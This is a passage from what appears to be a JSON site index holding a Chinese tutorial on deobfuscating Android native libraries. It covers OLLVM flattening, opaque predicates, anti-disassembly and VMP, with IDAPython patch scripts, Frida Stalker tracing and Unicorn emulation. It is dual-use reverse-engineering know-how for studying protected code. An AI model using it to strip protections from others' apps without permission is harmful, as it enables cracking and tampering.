","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:7:3","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#3-常见保护手段"},{"categories":null,"collections":null,"content":"SO 文件反混淆：花指令识别与自动化去除 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： SO/ELF 格式 - 理解 ELF 段结构与指令布局 IDA Pro 指南 - 使用 IDAPython 编写脚本 ARM 汇编基础 - 阅读反汇编代码的能力 在 Android SO 文件逆向工程中，代码混淆 (Code Obfuscation)，俗称\"花指令\"，是开发者为了保护核心逻辑、增加逆向分析难度而采用的一种常用技术。其核心思想是在代码中插入大量对程序本身逻辑无用但能迷惑反汇编工具和分析人员的指令。 本指南将系统介绍 SO 混淆的完整技术分类、识别方法，并重点阐述如何利用 IDAPython、Frida、Unicorn、angr 等工具进行自动化反混淆。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:0:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#so-文件反混淆花指令识别与自动化去除"},{"categories":null,"collections":null,"content":"SO 混淆技术分类 Android Native 层常见的混淆技术可归纳为以下几大类，往往组合使用以最大化保护效果： 分类 技术 难度 典型工具/来源 核心思路 指令级 垃圾指令 (Junk Code) 低 手写/脚本 插入不影响逻辑的无用指令 指令级 指令替换 (SUB) 低 OLLVM -sub 等价但更复杂的指令序列 控制流 不透明谓词 (BCF) 中 OLLVM -bcf 恒真/恒假分支迷惑分析器 控制流 控制流平坦化 (CFF) 高 OLLVM -fla 分发器循环编排执行顺序 控制流 反反汇编 中 手写 利用反汇编器缺陷产生错误输出 语义级 代码虚拟化 (VMP) 极高 VMProtect/自研 原生指令转自定义字节码 链接级 符号剥离+字符串加密 低 strip/自研 去除调试信息，加密常量 混淆技术层次图: ┌─────────────────────────────────────────┐ │ 语义级混淆 │ │ ┌────────────────┐ ┌──────────────┐ │ │ │ 代码虚拟化(VMP) │ │ MBA混合表达式│ │ │ └────────────────┘ └──────────────┘ │ ├─────────────────────────────────────────┤ │ 控制流混淆 │ │ ┌────────┐ ┌────────┐ ┌──────────┐ │ │ │ 平坦化 │ │不透明谓│ │ 反反汇编 │ │ │ └────────┘ └────────┘ └──────────┘ │ ├─────────────────────────────────────────┤ │ 指令级混淆 │ │ ┌──────────┐ ┌──────────────────┐ │ │ │ 垃圾指令 │ │ 指令替换 │ │ │ └──────────┘ └──────────────────┘ │ └─────────────────────────────────────────┘ ↑ 复杂度递增 / 逆向难度递增 ↑ 实战经验: 商业级保护方案通常同时启用 OLLVM 三件套 (CFF + BCF + SUB) 并叠加字符串加密和符号剥离。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:1:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#so-混淆技术分类"},{"categories":null,"collections":null,"content":"花指令的核心类型 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:2:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#花指令的核心类型"},{"categories":null,"collections":null,"content":"垃圾指令 (Junk Code) 最简单的混淆形式。在真实指令之间插入不影响程序状态的指令。 ; 真实代码 PUSH EAX ; --- 垃圾代码 --- NOP MOV EBX, EBX XCHG ECX, ECX ADD EAX, 0 ; --- 垃圾代码结束 --- ; 真实代码 POP EAX ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:2:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#垃圾指令-junk-code"},{"categories":null,"collections":null,"content":"不透明谓词 (Opaque Predicates) 构造条件恒成立或恒不成立的分支，使反汇编器误以为存在多个执行路径。 MOV EAX, EDX XOR EAX, EDX ; 清零 EAX TEST EAX, EAX ; 设置 Z 标志 JZ real_code_path ; 始终跳转 ; --- 死代码 (JNZ 分支) --- ADD EAX, 1234 CALL some_fake_func ; --- 死代码结束 --- real_code_path: ; ... 真实代码 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:2:2","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#不透明谓词-opaque-predicates"},{"categories":null,"collections":null,"content":"控制流平坦化 (Control Flow Flattening) 将函数的正常逻辑块打散，使用中央分发器和 switch-case 结构控制执行流。 原始代码: 平坦化后: A → B → C → D ┌──────────────┐ │ Dispatcher │ └──────────────┘ ↓ ↓ ↓ ↓ [A] [B] [C] [D] └───┴───┴───┘ ↓ 返回 Dispatcher ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:2:3","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#控制流平坦化-control-flow-flattening"},{"categories":null,"collections":null,"content":"OLLVM 混淆详解 OLLVM 在 LLVM IR 层面操作，提供三种核心混淆 pass。以下通过 before/after 对比展示效果。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:3:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#ollvm-混淆详解"},{"categories":null,"collections":null,"content":"控制流平坦化 (-fla) 混淆前： int check(int x) { int result = 0; if (x \u003e 10) result = x * 2; else result = x + 5; return result; } 混淆后 – 所有块由 switch 分发器控制： int check(int x) { int state = 0xA3B1; int result; while (1) { switch (state) { case 0xA3B1: state = (x \u003e 10) ? 0x7F02 : 0xD4E8; break; case 0x7F02: result = x * 2; state = 0x91AC; break; case 0xD4E8: result = x + 5; state = 0x91AC; break; case 0x91AC: return result; } } } ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:3:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#控制流平坦化--fla"},{"categories":null,"collections":null,"content":"虚假控制流 (-bcf) 插入基于不透明谓词的虚假分支，常见数学恒等式： 表达式 恒等结果 数学原理 x*(x+1) % 2 恒为 0 连续整数之积必为偶数 x*x % 2 == 1 恒假 平方数模 2 只能是 0 (x^3 - x) % 6 恒为 0 费马小定理推论 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:3:2","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#虚假控制流--bcf"},{"categories":null,"collections":null,"content":"指令替换 (-sub) 原始指令 替换后 等价原理 a + b a - (-b) 减负数等于加 a + b (a ^ b) + 2*(a \u0026 b) 半加器公式 a - b a + (~b) + 1 补码减法 a ^ b (a | b) \u0026 (~a | ~b) 异或布尔展开 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:3:3","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#指令替换--sub"},{"categories":null,"collections":null,"content":"反反汇编技巧 利用反汇编器的解析缺陷，使其产生错误输出。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:4:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#反反汇编技巧"},{"categories":null,"collections":null,"content":"重叠指令 (Overlapping Instructions) 利用 x86 变长指令的特性，跳转到另一条指令的中间位置： ; 线性扫描反汇编器看到的 (错误): 0x00: EB 01 JMP SHORT 0x03 0x02: E8 B8 01 00 CALL 0x1BE ; 从 0x02 解析 -- 错! ; 真实执行路径 (JMP 跳到 0x03): 0x00: EB 01 JMP SHORT 0x03 0x03: B8 01 00 00 MOV EAX, ... ; 从 0x03 才是正确指令 字节流: EB 01 E8 B8 01 00 00 C3 ↑ JMP 跳过 E8 (CALL 操作码) 反汇编器被骗，从 E8 开始解析 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:4:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#重叠指令-overlapping-instructions"},{"categories":null,"collections":null,"content":"基于异常的控制流 利用信号/异常处理隐藏真实执行路径： signal(SIGTRAP, real_handler); // 注册处理函数 void obfuscated_func() { __asm__ __volatile__(\"int3\"); // 触发 SIGTRAP -\u003e real_handler fake_decrypt(); // 死代码，静态分析器不知道 } void real_handler(int sig) { real_decrypt(); // 真实逻辑 } ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:4:2","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#基于异常的控制流"},{"categories":null,"collections":null,"content":"滥用 CALL + 栈操作 CALL next_insn ; 压入返回地址 next_insn: ADD DWORD [ESP], 5 ; 修改返回地址 += 5 RET ; 跳到 next_insn + 5 (跳过垃圾字节) DB 0xE8, 0xFF, 0xC0, 0x48, 0x83 ; 5 字节垃圾 real_code: ; 真实代码从这里继续 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:4:3","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#滥用-call--栈操作"},{"categories":null,"collections":null,"content":"代码虚拟化 (VMP) 代码虚拟化将原生指令翻译为自定义字节码，运行时通过嵌入的 VM 解释器执行。 ┌───────────────────────────────────────────┐ │ VM_Entry ──\u003e Dispatcher (主循环) │ │ opcode = fetch() │ │ switch (opcode): │ │ 0x01: vMOV (虚拟传送) │ │ 0x02: vADD (虚拟加法) │ │ 0x03: vXOR (虚拟异或) │ │ 0x04: vLOAD (虚拟内存读) │ │ 0x05: vCMP (虚拟比较) │ │ 0xFF: VM_Exit │ │ │ │ VM Context: VPC + VREG[0..15] + VSTACK │ └───────────────────────────────────────────┘ VMP 分析流程: 定位 VM_Entry -\u003e 识别 Dispatcher -\u003e 分析每个 Handler 语义 -\u003e dump 字节码 -\u003e 编写反汇编器 -\u003e 重建逻辑 // 简化的 VMP Dispatcher void vm_execute(uint8_t *bytecode, vm_context_t *ctx) { ctx-\u003evpc = 0; while (1) { uint8_t op = bytecode[ctx-\u003evpc++]; switch (op) { case 0x01: // vMOV reg, imm32 ctx-\u003eregs[bytecode[ctx-\u003evpc++]] = *(uint32_t*)\u0026bytecode[ctx-\u003evpc]; ctx-\u003evpc += 4; break; case 0x02: // vADD reg1, reg2 ctx-\u003eregs[bytecode[ctx-\u003evpc]] += ctx-\u003eregs[bytecode[ctx-\u003evpc+1]]; ctx-\u003evpc += 2; break; case 0xFF: return; // vRET } } } ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:5:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#代码虚拟化-vmp"},{"categories":null,"collections":null,"content":"如何识别花指令 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:6:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#如何识别花指令"},{"categories":null,"collections":null,"content":"静态分析特征 在 IDA Pro 或 Ghidra 中观察： 无效跳转：JMP loc_A 的下一条指令就是 loc_A 跳转到指令中间：JMP $+5 跳到正常指令中间 对称操作：连续的 PUSH/POP 同一寄存器 恒成立条件：Jcc 前 CMP 两个操作数明显相等 IDA 图形视图：平坦化函数呈巨大 switch 结构，所有块指向中心分发块 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:6:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#静态分析特征"},{"categories":null,"collections":null,"content":"动态调试验证 在可疑分支下断点，未命中则为死代码 单步观察寄存器变化，无变化则为垃圾代码 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:6:2","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#动态调试验证"},{"categories":null,"collections":null,"content":"静态去混淆 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:7:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#静态去混淆"},{"categories":null,"collections":null,"content":"符号执行 (angr) import angr def deflat_with_angr(binary_path, func_addr): \"\"\"使用 angr 识别平坦化结构\"\"\" proj = angr.Project(binary_path, auto_load_libs=False) cfg = proj.analyses.CFGFast(normalize=True) func = cfg.functions.get(func_addr) # 找分发器 -- 入度最高的基本块 block_in_degrees = {n: func.graph.in_degree(n) for n in func.graph.nodes()} dispatcher = max(block_in_degrees, key=block_in_degrees.get) print(f\"[+] 分发器: 0x{dispatcher.addr:x}, 入度: {block_in_degrees[dispatcher]}\") # 真实块 = 跳回分发器的块 real_blocks = [n for n in func.graph.nodes() if dispatcher in func.graph.successors(n) and n != dispatcher] print(f\"[+] 真实基本块: {len(real_blocks)}\") return dispatcher, real_blocks ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:7:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#符号执行-angr"},{"categories":null,"collections":null,"content":"模式匹配 (Miasm) from miasm.analysis.machine import Machine from miasm.expression.simplifications import expr_simp def simplify_with_miasm(binary_path, func_addr): \"\"\"使用 Miasm IR 简化混淆后的表达式\"\"\" machine = Machine(\"aarch64l\") cont = machine.Container.from_stream(open(binary_path, \"rb\"), addr=func_addr) mdis = machine.dis_engine(cont.bin_stream, loc_db=cont.loc_db) asmcfg = mdis.dis_multiblock(func_addr) lifter = machine.lifter_model_call(mdis.loc_db) ircfg = lifter.new_ircfg_from_asmcfg(asmcfg) for lbl, irblock in ircfg.blocks.items(): for assignblk in irblock: for dst, src in assignblk.items(): simplified = expr_simp(src) if simplified != src: print(f\" 简化: {src} =\u003e {simplified}\") ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:7:2","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#模式匹配-miasm"},{"categories":null,"collections":null,"content":"Z3 求解不透明谓词 from z3 import * def batch_solve_predicates(predicates): \"\"\"批量判断谓词是否为死代码。predicates: [(地址, lambda), ...]\"\"\" x = BitVec('x', 32) for addr, pred in predicates: s = Solver() s.set(\"timeout\", 5000) s.add(pred(x)) r = s.check() status = \"恒假(死代码)\" if r == unsat else f\"可满足(x={s.model()[x]})\" if r == sat else \"未知\" print(f\" 0x{addr:04x}: {status}\") # 示例 batch_solve_predicates([ (0x1000, lambda x: URem(x * x, 2) == 1), (0x1020, lambda x: URem(x * (x + 1), 2) != 0), ]) ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:7:3","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#z3-求解不透明谓词"},{"categories":null,"collections":null,"content":"动态去混淆 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:8:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#动态去混淆"},{"categories":null,"collections":null,"content":"Frida Stalker 指令追踪 // frida_trace_ollvm.js -- 追踪 OLLVM 函数的真实执行路径 function traceFunc(moduleName, funcOffset) { var base = Module.findBaseAddress(moduleName); var target = base.add(funcOffset); var realBlocks = []; Interceptor.attach(target, { onEnter: function(args) { this.tid = Process.getCurrentThreadId(); Stalker.follow(this.tid, { transform: function(iterator) { var inst = iterator.next(); var addr = inst.address; var off = addr.sub(base).toInt32(); if (off \u003e= funcOffset \u0026\u0026 off \u003c funcOffset + 0x2000) { iterator.putCallout(function(ctx) { send({type: \"block\", offset: \"0x\" + off.toString(16)}); }); } do { iterator.keep(); } while ((inst = iterator.next()) !== null); } }); }, onLeave: function(retval) { Stalker.unfollow(this.tid); Stalker.flush(); send({type: \"done\", retval: retval.toString()}); } }); } traceFunc(\"libtarget.so\", 0x1234); ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:8:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#frida-stalker-指令追踪"},{"categories":null,"collections":null,"content":"执行路径对比 通过提供不同输入并对比路径差异，识别关键分支点： def diff_paths(trace_a, trace_b): \"\"\"对比两条执行路径，找出分歧点\"\"\" for i in range(min(len(trace_a), len(trace_b))): if trace_a[i] != trace_b[i]: print(f\"[+] 分歧点 #{i}: A=0x{trace_a[i]:x} vs B=0x{trace_b[i]:x}\") print(f\" 前一公共块: 0x{trace_a[i-1]:x}\") return i return None ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:8:2","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#执行路径对比"},{"categories":null,"collections":null,"content":"自动化去花脚本 (IDAPython 实战) ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:9:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#自动化去花脚本-idapython-实战"},{"categories":null,"collections":null,"content":"场景一：NOP 掉无效跳转 import idaapi, idc, idautils def patch_junk_jumps(): \"\"\"将 JMP next_instruction 形式的垃圾跳转 NOP 掉\"\"\" count = 0 for seg_ea in idautils.Segments(): if idc.get_segm_attr(seg_ea, idc.SEGATTR_TYPE) != idc.SEG_CODE: continue for head in idautils.Heads(idc.get_segm_start(seg_ea), idc.get_segm_end(seg_ea)): if idaapi.is_jmp_insn(head): target = idc.get_operand_value(head, 0) insn_len = idc.get_item_size(head) if target == head + insn_len: for i in range(insn_len): idc.patch_byte(head + i, 0x90) count += 1 print(f\"修补了 {count} 个垃圾跳转\") patch_junk_jumps() ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:9:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#场景一nop-掉无效跳转"},{"categories":null,"collections":null,"content":"场景二：识别并去除不透明谓词 import idc, idautils def patch_opaque_predicates(): \"\"\"去除 CMP reg,reg + JNE 形式的不透明谓词\"\"\" count = 0 for seg_ea in idautils.Segments(): if idc.get_segm_attr(seg_ea, idc.SEGATTR_TYPE) != idc.SEG_CODE: continue for head in idautils.Heads(idc.get_segm_start(seg_ea), idc.get_segm_end(seg_ea)): if idc.get_byte(head) == 0x75: # JNE prev = idc.prev_head(head) if idc.print_insn_mnem(prev) == \"cmp\": if idc.get_operand_value(prev, 0) == idc.get_operand_value(prev, 1): insn_len = idc.get_item_size(head) for i in range(insn_len): idc.patch_byte(head + i, 0x90) count += 1 print(f\"修补了 {count} 个不透明谓词\") patch_opaque_predicates() ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:9:2","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#场景二识别并去除不透明谓词"},{"categories":null,"collections":null,"content":"场景三：修复重叠指令 import idc, idaapi def fix_overlapping_instructions(start, end): \"\"\"修复 JMP 到指令中间导致的反汇编错误\"\"\" count = 0 cur = start while cur \u003c end: insn = idaapi.insn_t() length = idaapi.decode_insn(insn, cur) if length == 0: cur += 1; continue if idc.get_byte(cur) == 0xEB: # short JMP offset = idc.get_byte(cur + 1) if offset \u003e 0x7F: offset -= 0x100 target = cur + 2 + offset prev = idc.prev_head(target) if prev != idc.BADADDR and prev \u003c target \u003c prev + idc.get_item_size(prev): for i in range(cur, target): idc.patch_byte(i, 0x90) idc.create_insn(target) count += 1 cur += length print(f\"修复了 {count} 处重叠指令\") idaapi.plan_and_wait(start, end) ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:9:3","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#场景三修复重叠指令"},{"categories":null,"collections":null,"content":"场景四：平坦化结构分析辅助 import idaapi, idautils, idc def analyze_flattened(func_addr): \"\"\"分析疑似被平坦化的函数，输出结构信息\"\"\" func = idaapi.get_func(func_addr) blocks = list(idaapi.FlowChart(func)) print(f\"[*] 函数 @ 0x{func.start_ea:X}, 基本块: {len(blocks)}\") in_degree = {} for b in blocks: for s in b.succs(): in_degree[s.start_ea] = in_degree.get(s.start_ea, 0) + 1 if in_degree: disp = max(in_degree, key=in_degree.get) print(f\" 疑似分发器: 0x{disp:X} (入度={in_degree[disp]})\") if in_degree[disp] \u003e 5: print(\" [!] 高度疑似控制流平坦化!\") # 统计跳回分发器的块 back_count = sum(1 for b in blocks if any(s.start_ea == disp for s in b.succs())) print(f\" 跳回分发器的块: {back_count}\") ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:9:4","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#场景四平坦化结构分析辅助"},{"categories":null,"collections":null,"content":"Unicorn 辅助分析 Unicorn 可脱离设备模拟执行函数片段，特别适合验证混淆算法逻辑。 from unicorn import * from unicorn.arm64_const import * def emulate_func(so_bytes, func_offset, arg0, arg1): \"\"\"用 Unicorn 模拟 ARM64 混淆函数，返回 (返回值, 执行轨迹)\"\"\" BASE, STACK = 0x10000, 0x80000 mu = Uc(UC_ARCH_ARM64, UC_MODE_LITTLE_ENDIAN) code_size = (len(so_bytes) + 0xFFF) \u0026 ~0xFFF mu.mem_map(BASE, code_size) mu.mem_write(BASE, so_bytes) mu.mem_map(STACK, 0x10000) mu.reg_write(UC_ARM64_REG_SP, STACK + 0xF000) mu.reg_write(UC_ARM64_REG_X0, arg0) mu.reg_write(UC_ARM64_REG_X1, arg1) END = 0xDEAD0000 mu.mem_map(END \u0026 ~0xFFF, 0x1000) mu.reg_write(UC_ARM64_REG_LR, END) trace = [] mu.hook_add(UC_HOOK_CODE, lambda uc, addr, sz, _: trace.append(addr)) try: mu.emu_start(BASE + func_offset, END, timeout=10_000_000) except UcError as e: print(f\"[!] 异常: {e}, PC=0x{mu.reg_read(UC_ARM64_REG_PC):x}\") ret = mu.reg_read(UC_ARM64_REG_X0) print(f\"[+] f(0x{arg0:x}, 0x{arg1:x}) = 0x{ret:x} ({len(trace)} 条指令)\") return ret, trace 批量测试输入输出 – 辅助算法还原： def batch_test(so_bytes, func_offset, cases): \"\"\"批量测试 [(arg0,arg1), ...], 打印 IO 关系表\"\"\" print(f\"{'Input0':\u003e12} {'Input1':\u003e12} {'Output':\u003e12}\") print(f\"{'─'*12} {'─'*12} {'─'*12}\") for a0, a1 in cases: ret, _ = emulate_func(so_bytes, func_offset, a0, a1) print(f\"{a0:\u003e12x} {a1:\u003e12x} {ret:\u003e12x}\") ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:10:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#unicorn-辅助分析"},{"categories":null,"collections":null,"content":"实战案例 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:11:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#实战案例"},{"categories":null,"collections":null,"content":"反混淆 OLLVM 保护的加密函数 (完整流程) 💡 思路一句话: 先用 IDA 判断混淆类型 → 再用 Frida Stalker 动态追踪真实执行路径（跳过所有虚假分支）→ 然后在 IDA 中标记真实块提取核心逻辑 → 最后用 Unicorn 模拟验证并编写等价 Python 代码。 核心原则: 不要试图\"读懂\"混淆后的代码，而是让程序自己告诉你它真正执行了什么。 目标: libnative.so 中的 encrypt 函数，被 OLLVM -fla -bcf -sub 保护。 环境准备 # 工具清单 (确保已安装) # 1. IDA Pro 7.5+ (带 Hex-Rays ARM64 反编译器) # 2. Frida 16.x # 3. Python 3.8+ + frida-tools # 4. 一台 root 过的 Android 设备 (推荐 Android 10-13) # 检查 Frida 连接 adb devices # 确认设备连接 adb shell \"su -c 'frida-server -D'\" # 后台启动 frida-server frida-ps -U | head -20 # 验证 Frida 正常工作 # 从设备上拉取目标 SO adb shell \"pm path com.example.app\" adb pull /data/app/com.example.app-xxx/lib/arm64/libnative.so ./ Step 1: IDA 静态观察 — 判断混淆类型 操作步骤: 1. 打开 IDA Pro，将 libnative.so 拖入 2. 等待自动分析完成 (进度条走完) 3. 在 Functions 窗口搜索 \"encrypt\" 或 \"Java_com_example\" 找到目标函数 4. 双击进入，按 F5 查看反编译结果 5. 按空格键切换到图形视图 (Graph View) 你会看到什么 (判断依据): 观察到的现象 含义 混淆类型 巨大的 switch-case 循环，几十个 case 所有基本块被打散重组 控制流平坦化 (FLA) 